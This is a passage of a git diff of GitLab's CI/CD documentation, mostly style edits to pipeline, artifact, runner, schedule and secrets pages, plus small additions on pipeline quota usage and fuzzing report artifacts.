`pipelines` keyword.
-CAUTION: **Caution:**
-In the example, `staging` will be marked as succeeded as soon as a downstream pipeline
+In the example, `staging` is marked as successful as soon as a downstream pipeline
gets created. If you want to display the downstream pipeline's status instead, see
[Mirroring status from triggered pipeline](#mirroring-status-from-triggered-pipeline).
-NOTE: **Note:**
-Bridge jobs do not support every configuration entry that a user can use
-in the case of regular jobs. Bridge jobs will not be picked by a runner,
-so there is no point in adding support for `script`, for example. If a user
-tries to use unsupported configuration syntax, YAML validation will fail upon
-pipeline creation.
+NOTE:
+Bridge jobs [do not support every configuration keyword](#limitations) that can be used
+with other jobs. If a user tries to use unsupported configuration keywords, YAML
+validation fails on pipeline creation.
### Specifying a downstream pipeline branch
-It is possible to specify a branch name that a downstream pipeline will use:
+It is possible to specify a branch name that a downstream pipeline uses:
```yaml
rspec:
@@ -152,10 +150,10 @@ Use:
[From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/10126), variable expansion is
supported.
-GitLab will use a commit that is currently on the HEAD of the branch when
+GitLab uses a commit that is on the head of the branch when
creating a downstream pipeline.
-NOTE: **Note:**
+NOTE:
Pipelines triggered on a protected branch in a downstream project use the [permissions](../user/permissions.md)
of the user that ran the trigger job in the upstream project. If the user does not
have permission to run CI/CD pipelines against the protected branch, the pipeline fails. See
@@ -181,10 +179,10 @@ staging:
trigger: my/deployment
```
-The `ENVIRONMENT` variable will be passed to every job defined in a downstream
-pipeline. It will be available as an environment variable when GitLab Runner picks a job.
+The `ENVIRONMENT` variable is passed to every job defined in a downstream
+pipeline. It is available as an environment variable when GitLab Runner picks a job.
-In the following configuration, the `MY_VARIABLE` variable will be passed to the downstream pipeline
+In the following configuration, the `MY_VARIABLE` variable is passed to the downstream pipeline
that is created when the `trigger-downstream` job is queued. This is because `trigger-downstream`
job inherits variables declared in global variables blocks, and then we pass these variables to a downstream pipeline.
@@ -210,7 +208,7 @@ downstream-job:
```
In this scenario, the `UPSTREAM_BRANCH` variable with a value related to the
-upstream pipeline will be passed to the `downstream-job` job, and will be available
+upstream pipeline is passed to the `downstream-job` job, and is available
within the context of all downstream builds.
Upstream pipelines take precedence over downstream ones. If there are two
@@ -289,9 +287,9 @@ upstream_bridge:
### Limitations
-Because bridge jobs are a little different to regular jobs, it is not
-possible to use exactly the same configuration syntax here, as one would
-normally do when defining a regular job that will be picked by a runner.
+Bridge jobs are a little different from regular jobs. It is not
+possible to use exactly the same configuration syntax as when defining regular jobs
+that are picked by a runner.
Some features are not implemented yet. For example, support for environments.
@@ -304,6 +302,7 @@ Some features are not implemented yet. For example, support for environments.
- `only` and `except`
- `when` (only with `on_success`, `on_failure`, and `always` values)
- `extends`
+- `needs`
## Trigger a pipeline when an upstream project is rebuilt **(PREMIUM)**
@@ -318,7 +317,7 @@ tag in a different project:
1. Click subscribe.
Any pipelines that complete successfully for new tags in the subscribed project
-will now trigger a pipeline on the current project's default branch. The maximum
+now trigger a pipeline on the current project's default branch. The maximum
number of upstream pipeline subscriptions is 2 by default, for both the upstream and
downstream projects. This [application limit](../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) can be changed on self-managed instances by a GitLab administrator.
diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md
index a0965643970..d088d0d7e4d 100644
--- a/doc/ci/parent_child_pipelines.md
+++ b/doc/ci/parent_child_pipelines.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -52,8 +52,8 @@ For an overview, see [Parent-Child Pipelines feature demo](https://youtu.be/n8Kp
## Examples
The simplest case is [triggering a child pipeline](yaml/README.md#trigger) using a
-local YAML file to define the pipeline configuration. In this case, the parent pipeline will
-trigger the child pipeline, and continue without waiting:
+local YAML file to define the pipeline configuration. In this case, the parent pipeline
+triggers the child pipeline, and continues without waiting:
```yaml
microservice_a:
@@ -158,6 +158,11 @@ For an overview, see [Create child pipelines using dynamically generated configu
We also have an [example project using Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/).
+The artifact path is parsed by GitLab, not the runner, so the path must match the
+syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows
+runner for testing, the path separator for the trigger job would be `/`. Other CI/CD
+configuration for jobs, like scripts, that use the Windows runner would use `\`.
+
In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail.
This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070).
@@ -173,4 +178,5 @@ possible to trigger another level of child pipelines.
## Pass variables to a child pipeline
-You can [pass variables to a downstream pipeline](multi_project_pipelines.md#passing-variables-to-a-downstream-pipeline).
+You can [pass variables to a downstream pipeline](multi_project_pipelines.md#passing-variables-to-a-downstream-pipeline)
+the same way as for multi-project pipelines.
diff --git a/doc/ci/permissions/README.md b/doc/ci/permissions/README.md
index bc1e6ce3e0b..897d7b6ce51 100644
--- a/doc/ci/permissions/README.md
+++ b/doc/ci/permissions/README.md
@@ -3,3 +3,6 @@ redirect_to: '../../user/permissions.md#gitlab-cicd-permissions'
---
This document was moved to [user/permissions.md](../../user/permissions.md#gitlab-cicd-permissions).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/pipelines.md b/doc/ci/pipelines.md
index edebd12f07a..090dbd3d347 100644
--- a/doc/ci/pipelines.md
+++ b/doc/ci/pipelines.md
@@ -3,3 +3,6 @@ redirect_to: 'pipelines/index.md'
---
This document was moved to [another location](pipelines/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png
index 59276bda727..d9b8e71e6cb 100644
--- a/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png
+++ b/doc/ci/pipelines/img/ci_efficiency_pipeline_health_grafana_dashboard.png
Binary files differ
diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md
index f22d2373e5f..22e331f2de0 100644
--- a/doc/ci/pipelines/index.md
+++ b/doc/ci/pipelines/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/ci/pipelines.html'
type: reference
---
@@ -10,7 +10,7 @@ type: reference
> Introduced in GitLab 8.8.
-TIP: **Tip:**
+NOTE:
Watch the
["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/)
webcast to see a comprehensive demo of a GitLab CI/CD pipeline.
@@ -39,7 +39,7 @@ A typical pipeline might consist of four stages, executed in the following order
- A `staging` stage, with a job called `deploy-to-stage`.
- A `production` stage, with a job called `deploy-to-prod`.
-NOTE: **Note:**
+NOTE:
If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository),
you may need to enable pipeline triggering in your project's
**Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**.
@@ -213,7 +213,7 @@ page, then using the **Delete** button.
![Pipeline Delete Button](img/pipeline-delete.png)
-CAUTION: **Warning:**
+WARNING:
Deleting a pipeline expires all pipeline caches, and deletes all related objects,
such as builds, logs, artifacts, and triggers. **This action cannot be undone.**
@@ -261,6 +261,18 @@ The union of A, B, and C is (1, 4) and (6, 7). Therefore, the total running time
(4 - 1) + (7 - 6) => 4
```
+#### How pipeline quota usage is calculated
+
+Pipeline quota usage is calculated as the sum of the duration of each individual job. This is slightly different to how pipeline _duration_ is [calculated](#how-pipeline-duration-is-calculated). Pipeline quota usage doesn't consider any overlap of jobs running in parallel.
+
+For example, a pipeline consists of the following jobs:
+
+- Job A takes 3 minutes.
+- Job B takes 3 minutes.
+- Job C takes 2 minutes.
+
+The pipeline quota usage is the sum of each job's duration. In this example, 8 runner minutes would be used, calculated as: 3 + 3 + 2.
+
### Pipeline security on protected branches
A strict security model is enforced when pipelines are executed on
diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md
index 160399e4bc4..787ee8f8573 100644
--- a/doc/ci/pipelines/job_artifacts.md
+++ b/doc/ci/pipelines/job_artifacts.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/job_artifacts.html'
type: reference, howto
---
@@ -58,7 +58,7 @@ For more examples on artifacts, follow the [artifacts reference in
> - Requires GitLab Runner 11.2 and above.
The `artifacts:reports` keyword is used for collecting test reports, code quality
-reports, and security reports from jobs. It also exposes these reports in GitLab's
+reports, and security reports from jobs. It also exposes these reports in the GitLab
UI (merge requests, pipeline views, and security dashboards).
The test reports are collected regardless of the job results (success or failure).
@@ -213,12 +213,34 @@ as artifacts.
The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
dashboards.
+#### `artifacts:reports:api_fuzzing` **(ULTIMATE)**
+
+> - Introduced in GitLab 13.4.
+> - Requires GitLab Runner 13.4 or later.
+
+The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md)
+as artifacts.
+
+The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge
+requests and the pipeline view. It's also used to provide data for security dashboards.
+
+#### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)**
+
+> - Introduced in GitLab 13.4.
+> - Requires GitLab Runner 13.4 or later.
+
+The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md)
+as artifacts.
+
+The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge
+requests and the pipeline view. It's also used to provide data for security dashboards.
+
#### `artifacts:reports:license_management` **(ULTIMATE)**
> - Introduced in GitLab 11.5.
> - Requires GitLab Runner 11.5 and above.
-CAUTION: **Warning:**
+WARNING:
This artifact is still valid but is **deprecated** in favor of the
[artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning)
introduced in GitLab 12.8.
@@ -337,7 +359,7 @@ in the GitLab UI to do this:
It's possible to download the latest artifacts of a job via a well known URL
so you can use it for scripting purposes.
-NOTE: **Note:**
+NOTE:
The latest artifacts are created by jobs in the **most recent** successful pipeline
for the specific ref. If you run two types of pipelines for the same ref, timing determines the latest
artifact. For example, if a merge request creates a branch pipeline at the same time as a scheduled pipeline, the pipeline that completed most recently creates the latest artifact.
@@ -416,7 +438,7 @@ information in the UI.
## Erasing artifacts
-DANGER: **Warning:**
+WARNING:
This is a destructive action that leads to data loss. Use with caution.
You can erase a single job via the UI, which also removes the job's
diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md
index 77614424b33..73677dd6986 100644
--- a/doc/ci/pipelines/pipeline_architectures.md
+++ b/doc/ci/pipelines/pipeline_architectures.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -22,8 +22,8 @@ any of the keywords used below, check out our [CI YAML reference](../yaml/README
## Basic Pipelines
-This is the simplest pipeline in GitLab. It will run everything in the build stage concurrently,
-and once all of those finish, it will run everything in the test stage the same way, and so on.
+This is the simplest pipeline in GitLab. It runs everything in the build stage concurrently,
+and once all of those finish, it runs everything in the test stage the same way, and so on.
It's not the most efficient, and if you have lots of steps it can grow quite complex, but it's
easier to maintain:
@@ -101,7 +101,7 @@ your jobs. When GitLab knows the relationships between your jobs, it can run eve
as fast as possible, and even skips into subsequent stages when possible.
In the example below, if `build_a` and `test_a` are much faster than `build_b` and
-`test_b`, GitLab will start `deploy_a` even if `build_b` is still running.
+`test_b`, GitLab starts `deploy_a` even if `build_b` is still running.
```mermaid
graph LR
@@ -163,7 +163,7 @@ deploy_b:
In the examples above, it's clear we've got two types of things that could be built independently.
This is an ideal case for using [Child / Parent Pipelines](../parent_child_pipelines.md)) via
-the [`trigger` keyword](../yaml/README.md#trigger). It will separate out the configuration
+the [`trigger` keyword](../yaml/README.md#trigger). It separates out the configuration
into multiple files, keeping things very simple. You can also combine this with:
- The [`rules` keyword](../yaml/README.md#rules): For example, have the child pipelines triggered only
diff --git a/doc/ci/pipelines/pipeline_artifacts.md b/doc/ci/pipelines/pipeline_artifacts.md
index 8d70fff4e03..e405258092d 100644
--- a/doc/ci/pipelines/pipeline_artifacts.md
+++ b/doc/ci/pipelines/pipeline_artifacts.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -13,6 +13,6 @@ Pipeline artifacts are used by the [test coverage visualization feature](../../u
## Storage
-Pipeline artifacts are saved to disk or object storage. They count towards a project's [storage usage quota](../../user/group/index.md#storage-usage-quota). The **Artifacts** on the usage quote page is the sum of all job artifacts and pipeline artifacts.
+Pipeline artifacts are saved to disk or object storage. They count towards a project's [storage usage quota](../../user/usage_quotas.md#storage-usage-quota). The **Artifacts** on the Usage Quotas page is the sum of all job artifacts and pipeline artifacts.
Pipeline artifacts are erased after one week.
diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md
index 149c596430c..de78b8558c4 100644
--- a/doc/ci/pipelines/pipeline_efficiency.md
+++ b/doc/ci/pipelines/pipeline_efficiency.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -105,10 +105,10 @@ External monitoring tools can poll the API and verify pipeline health or collect
metrics for long term SLA analytics.
For example, the [GitLab CI Pipelines Exporter](https://github.com/mvisonneau/gitlab-ci-pipelines-exporter)
-for Prometheus fetches metrics from the API. It can check branches in projects automatically
+for Prometheus fetches metrics from the API and pipeline events. It can check branches in projects automatically
and get the pipeline status and duration. In combination with a Grafana dashboard,
this helps build an actionable view for your operations team. Metric graphs can also
-be embedded into incidents making problem resolving easier.
+be embedded into incidents making problem resolving easier. Additionally, it can also export metrics about jobs and environments.
![Grafana Dashboard for GitLab CI Pipelines Prometheus Exporter](img/ci_efficiency_pipeline_health_grafana_dashboard.png)
@@ -189,8 +189,12 @@ be more efficient, but can also make pipelines harder to understand and analyze.
### Caching
-Another optimization method is to use [caching](../caching/index.md) between jobs and stages,
-for example [`/node_modules` for NodeJS](../caching/index.md#caching-nodejs-dependencies).
+Another optimization method is to [cache](../caching/index.md) dependencies. If your
+dependencies change rarely, like [NodeJS `/node_modules`](../caching/index.md#cache-nodejs-dependencies),
+caching can make pipeline execution much faster.
+
+You can use [`cache:when`](../yaml/README.md#cachewhen) to cache downloaded dependencies
+even when a job fails.
### Docker Images
diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md
index 9df73957293..35a8888381f 100644
--- a/doc/ci/pipelines/schedules.md
+++ b/doc/ci/pipelines/schedules.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/schedules.html'
type: reference, howto
---
@@ -43,7 +43,7 @@ To schedule a pipeline for project:
![New Schedule Form](img/pipeline_schedules_new_form.png)
-NOTE: **Note:**
+NOTE:
Pipelines execution [timing is dependent](#advanced-configuration) on Sidekiq's own schedule.
In the **Schedules** index page you can see a list of the pipelines that are
@@ -56,15 +56,15 @@ is installed on.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12328) in GitLab 9.4.
-You can pass any number of arbitrary variables and they will be available in
+You can pass any number of arbitrary variables. They are available in
GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).
![Scheduled pipeline variables](img/pipeline_schedule_variables.png)
### Using only and except
-To configure that a job can be executed only when the pipeline has been
-scheduled (or the opposite), you can use
+To configure a job to be executed only when the pipeline has been
+scheduled (or the opposite), use
[only and except](../yaml/README.md#onlyexcept-basic) configuration keywords.
For example:
@@ -102,7 +102,7 @@ For GitLab.com, refer to the [dedicated settings page](../../user/gitlab_com/ind
## Working with scheduled pipelines
-Once configured, GitLab supports many functions for working with scheduled pipelines.
+After configuration, GitLab supports many functions for working with scheduled pipelines.
### Running manually
@@ -115,7 +115,7 @@ To trigger a pipeline schedule manually, click the "Play" button:
This schedules a background job to run the pipeline schedule. A flash
message provides a link to the CI/CD Pipeline index page.
-NOTE: **Note:**
+NOTE:
To help avoid abuse, users are rate limited to triggering a pipeline once per
minute.
@@ -128,7 +128,7 @@ The next time a pipeline is scheduled, your credentials are used.
![Schedules list](img/pipeline_schedules_ownership.png)
-If the owner of a pipeline schedule does not have the ability to create
+If the owner of a pipeline schedule cannot create
pipelines on the target branch, the schedule stops creating new
pipelines.
diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md
index d2d2cb26256..5a758bccd62 100644
--- a/doc/ci/pipelines/settings.md
+++ b/doc/ci/pipelines/settings.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/settings.html'
type: reference, howto
---
@@ -26,7 +26,7 @@ There are two options. Using:
- `git clone`, which is slower since it clones the repository from scratch
for every job, ensuring that the local working copy is always pristine.
-- `git fetch`, which is GitLab's default and faster as it re-uses the local working copy (falling
+- `git fetch`, which is default in GitLab and faster as it re-uses the local working copy (falling
back to clone if it doesn't exist).
This is recommended, especially for [large repositories](../large_repositories/index.md#git-strategy).
@@ -170,7 +170,7 @@ Pipeline visibility is determined by:
- Your current [user access level](../../user/permissions.md).
- The **Public pipelines** project setting under your project's **Settings > CI/CD > General pipelines**.
-NOTE: **Note:**
+NOTE:
If the project visibility is set to **Private**, the [**Public pipelines** setting has no effect](../enable_or_disable_ci.md#per-project-user-setting).
This also determines the visibility of these related features:
@@ -209,7 +209,8 @@ You can set pending or running pipelines to cancel automatically when a new pipe
1. Check the **Auto-cancel redundant, pending pipelines** checkbox.
1. Click **Save changes**.
-Note that only jobs with [interruptible](../yaml/README.md#interruptible) set to `true` are cancelled.
+Use the [`interruptible`](../yaml/README.md#interruptible) keyword to indicate if a
+running job can be cancelled before it completes.
## Skip outdated deployment jobs
diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md
index f3e60fae13a..7fd88d011b3 100644
--- a/doc/ci/quick_start/README.md
+++ b/doc/ci/quick_start/README.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -53,7 +53,7 @@ must [install GitLab Runner](https://docs.gitlab.com/runner/install/) and
[register](https://docs.gitlab.com/runner/register/) at least one runner.
If you are testing CI/CD, you can install GitLab Runner and register runners on your local machine.
-When your CI/CD jobs run, they will run on your local machine.
+When your CI/CD jobs run, they run on your local machine.
### Create a `.gitlab-ci.yml` file
@@ -79,7 +79,7 @@ To create a `.gitlab-ci.yml` file:
![New file](img/new_file_v13_6.png)
-1. For the **File name** type `.gitlab-ci.yml` and in the larger window,
+1. For the **Filename**, type `.gitlab-ci.yml` and in the larger window,
paste this sample code:
```yaml
diff --git a/doc/ci/quick_start/img/job_details_v13_6.png b/doc/ci/quick_start/img/job_details_v13_6.png
index e94287f90ba..073ebc99b6d 100644
--- a/doc/ci/quick_start/img/job_details_v13_6.png
+++ b/doc/ci/quick_start/img/job_details_v13_6.png
Binary files differ
diff --git a/doc/ci/quick_start/img/pipeline_graph_v13_6.png b/doc/ci/quick_start/img/pipeline_graph_v13_6.png
index fcf7e02d1f3..cb045125287 100644
--- a/doc/ci/quick_start/img/pipeline_graph_v13_6.png
+++ b/doc/ci/quick_start/img/pipeline_graph_v13_6.png
Binary files differ
diff --git a/doc/ci/quick_start/img/runners_activated.png b/doc/ci/quick_start/img/runners_activated.png
deleted file mode 100644
index ac09e1d0137..00000000000
--- a/doc/ci/quick_start/img/runners_activated.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/quick_start/img/three_stages_v13_6.png b/doc/ci/quick_start/img/three_stages_v13_6.png
index a6c049e3e6c..c69581015a9 100644
--- a/doc/ci/quick_start/img/three_stages_v13_6.png
+++ b/doc/ci/quick_start/img/three_stages_v13_6.png
Binary files differ
diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md
index ba23eff0434..31fcfe9d6e8 100644
--- a/doc/ci/review_apps/index.md
+++ b/doc/ci/review_apps/index.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -125,7 +125,7 @@ paths (on the website).
### Route Maps example
The following is an example of a route map for [Middleman](https://middlemanapp.com),
-a static site generator (SSG) used to build [GitLab's website](https://about.gitlab.com),
+a static site generator (SSG) used to build the [GitLab website](https://about.gitlab.com),
deployed from its [project on GitLab.com](https://gitlab.com/gitlab-com/www-gitlab-com):
```yaml
diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md
index 4392fa3c78b..c9a5f2f3899 100644
--- a/doc/ci/runners/README.md
+++ b/doc/ci/runners/README.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -207,7 +207,7 @@ must be enabled for each project explicitly.
Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue.
-NOTE: **Note:**
+NOTE:
Specific runners do not get shared with forked projects automatically.
A fork *does* copy the CI / CD settings of the cloned repository.
@@ -271,21 +271,21 @@ How this feature works:
1. You set the _maximum job timeout_ for a runner to 24 hours
1. You set the _CI/CD Timeout_ for a project to **2 hours**
1. You start a job
-1. The job, if running longer, will be timed out after **2 hours**
+1. The job, if running longer, times out after **2 hours**
**Example 2 - Runner timeout not configured**
1. You remove the _maximum job timeout_ configuration from a runner
1. You set the _CI/CD Timeout_ for a project to **2 hours**
1. You start a job
-1. The job, if running longer, will be timed out after **2 hours**
+1. The job, if running longer, times out after **2 hours**
**Example 3 - Runner timeout smaller than project timeout**
1. You set the _maximum job timeout_ for a runner to **30 minutes**
1. You set the _CI/CD Timeout_ for a project to 2 hours
1. You start a job
-1. The job, if running longer, will be timed out after **30 minutes**
+1. The job, if running longer, times out after **30 minutes**
## Be careful with sensitive information
@@ -360,8 +360,8 @@ value of the new token.
It may be useful to know the IP address of a runner so you can troubleshoot
issues with that runner. GitLab stores and displays the IP address by viewing
the source of the HTTP requests it makes to GitLab when polling for jobs. The
-IP address is always kept up to date so if the runner IP changes it will be
-automatically updated in GitLab.
+IP address is always kept up to date so if the runner IP changes it
+automatically updates in GitLab.
The IP address for shared runners and specific runners can be found in
different places.
@@ -413,7 +413,7 @@ To make a runner pick untagged jobs:
1. Check the **Run untagged jobs** option.
1. Click the **Save changes** button for the changes to take effect.
-NOTE: **Note:**
+NOTE:
The runner tags list can not be empty when it's not allowed to pick untagged jobs.
Below are some example scenarios of different variations.
diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md
index fb1183cd68b..f05812f77f7 100644
--- a/doc/ci/secrets/index.md
+++ b/doc/ci/secrets/index.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Release Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: concepts, howto
---
@@ -42,7 +42,7 @@ is summarized by this diagram:
1. HashiCorp Vault returns the token.
1. Runner reads secrets from the HashiCorp Vault.
-NOTE: **Note:**
+NOTE:
Read the [Authenticating and Reading Secrets With HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md)
tutorial for a version of this feature. It's available to all
subscription levels, supports writing secrets to and deleting secrets from Vault,
@@ -89,7 +89,7 @@ To configure your Vault server:
specified when the authentication method was configured.
- `VAULT_AUTH_PATH` - (Optional) The path where the authentication method is mounted, default is `jwt`.
- NOTE: **Note:**
+ NOTE:
Support for [providing these values in the user interface](https://gitlab.com/gitlab-org/gitlab/-/issues/218677)
is planned but not yet implemented.
@@ -155,7 +155,7 @@ $ vault write auth/jwt/role/myproject-production - <<EOF
EOF
```
-CAUTION: **Caution:**
+WARNING:
Always restrict your roles to a project or namespace by using one of the provided
claims like `project_id` or `namespace_id`. Without these restrictions, any JWT
generated by this GitLab instance may be allowed to authenticate using this role.
diff --git a/doc/ci/services/README.md b/doc/ci/services/README.md
index fda453b7aa0..71c2be70de3 100644
--- a/doc/ci/services/README.md
+++ b/doc/ci/services/README.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index
---
diff --git a/doc/ci/services/docker-services.md b/doc/ci/services/docker-services.md
index fdd38ed4c4e..e4653cdc9e2 100644
--- a/doc/ci/services/docker-services.md
+++ b/doc/ci/services/docker-services.md
@@ -3,3 +3,6 @@ redirect_to: 'README.md'
---
This document was moved to [another location](README.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md
index bbab1194191..1595907184e 100644
--- a/doc/ci/services/mysql.md
+++ b/doc/ci/services/mysql.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -67,7 +67,7 @@ GitLab Runner with the Shell executor.
1. Choose a MySQL root password and type it twice when asked.
- NOTE: **Note:**
+ NOTE:
As a security measure, you can run `mysql_secure_installation` to
remove anonymous users, drop the test database, and disable remote logins by
the root user.
@@ -78,7 +78,7 @@ GitLab Runner with the Shell executor.
mysql -u root -p
```
-1. Create a user (in this case, `runner`) that will be used by your
+1. Create a user (in this case, `runner`) that is used by your
application. Change `$password` in the command to a strong password.
At the `mysql>` prompt, type:
diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md
index 96552ab1245..d37875e1e05 100644
--- a/doc/ci/services/postgres.md
+++ b/doc/ci/services/postgres.md
@@ -1,13 +1,13 @@
---
stage: Verify
group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
